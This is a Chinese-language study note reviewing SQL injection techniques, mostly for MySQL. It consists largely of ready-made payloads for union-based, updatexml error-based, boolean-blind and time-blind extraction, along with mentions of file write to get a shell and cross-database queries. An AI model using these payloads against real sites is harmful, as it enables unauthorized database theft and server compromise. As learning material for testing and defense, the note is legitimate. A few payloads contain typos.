sql注入知识复习

ASP+Access

由于Access数据库特性导致这个SQL注入是需要借助字典去猜解表名和列名的,那么就会出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入!

偏移注入

MYSQL

有回显

闭合符号 :通过报错信息来看符号闭合 例如()‘%$变量%’ “ “ ‘’ 宽字节报错1 %df ‘

猜字段数 (默认不闭合)

1
?id=1 order by x   --+

查看回显字段

1
?id=1 and 1=2  union select 1,2,3,...,x  --+

爆数据库

1
?id=1 and 1=2 union select 1,database(),3,...,x  --+ 显示数据库名    version() 显示数据库版本号 找漏洞     user ()获取用户信息  

爆表名

1
?id=1 and 1=2 union select  1,concat(table_name),3 from information_schema.tables where table_schema='数据库名'--+

爆列名

1
?id=1 and 1=2  union select 1,column_name,3 from infomatiom_schema.columns where table_name='表名' and table_schema='数据库名'--+

爆数据

1
?id=1 and 1=2 union select concat(列名1,'——',列名2) from 表名 limit 1 --+

获取全部数据 加group_concat()

加解密

无回显

报错注入

爆库:
1
?id=1 and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) --+
1
?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆表:
1
?id=1 and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema=database()  limit 2,1),1) --+
1
?id=1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) --+
爆字段:
1
?id=1  and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_schema=database() and table_name='表名' limit 2,1),1) --+
1
2
and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema=database()),1,31),0x7e),1)-- s

爆数据:
1
?id=1 and updatexml(1,(select concat(0x7e,'字段',0x7e) from '表名' limit 1,1),1) --+
1
?id=1 and updatexml(1,concat(0x7e,substr((select group_concat(concat('字段','^','字段')) from '表名'),1,31),0x7e),1)

bool盲注

使用不了报错注入 sql语句有语法错误或者参数值在表中查询不到返回的页面是相同的,并且与参数值正确且无语法错误时不同使用bool盲注

通俗说就是只有成功和失败两种页面

遇到直接sqlmap一把梭

符号闭合可用burp进行爆破来找到

原理
  1. 使用 length()函数 判断查询结果的长度
    1
    ?id=1 and length( database() )=1 -- a

    =1 =2 =3 等等等等 看返回结果 直到猜解成功

  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126

1
?id=1 and ascii(substr( database() ,1,1))=32 -- a

时间盲注

原理

通过一个页面加载的时间延时来判断

但是这和网络,性能,设置的延时长短有关系

当对数据库进行查询操作,如果查询的条件不存在,语句执行的速度非常快,执行时间基本可以认为是0,通过控制sql语句的执行时间来判断

常用函数

延迟函数

img

if()函数 : if(a,b,c),如果a的值为true,则返回b的值,如果a的值为false,则返回c的值

利用过程

判断页面能否使用时间盲注

1
?id=1 and sleep(5)--+

看看是否延迟5s

猜解数据库名称长度

1
?id=1 and if((length(database()))=10,sleep(5),1)--+ 

页面延时 当前数据库名称长度为 10

猜解数据库名称名称

1
?id=1 and if(ascii(substr(database(),1,1))=107,sleep(5),1)--+ 

页面延迟 当前数据库名第一个字母为k… 穷举法得到数据库名

手工注入太浪费时间了 一般判断出注入直接sqlmap一把梭

利用时间盲注在挖src时候 可以使用时间盲注在burp的右下角观测响应时间

文件读写(getshell)

load_file

into outfile

跨库注入

实现当前网站跨库查询其他数据库对应网站的数据

root用户获取当前mysql下的所有数据库名

union select 1,schema_name,3 from information_schema.schemata

找到对应网站的数据库名 然后进行猜解 注意加数据库名.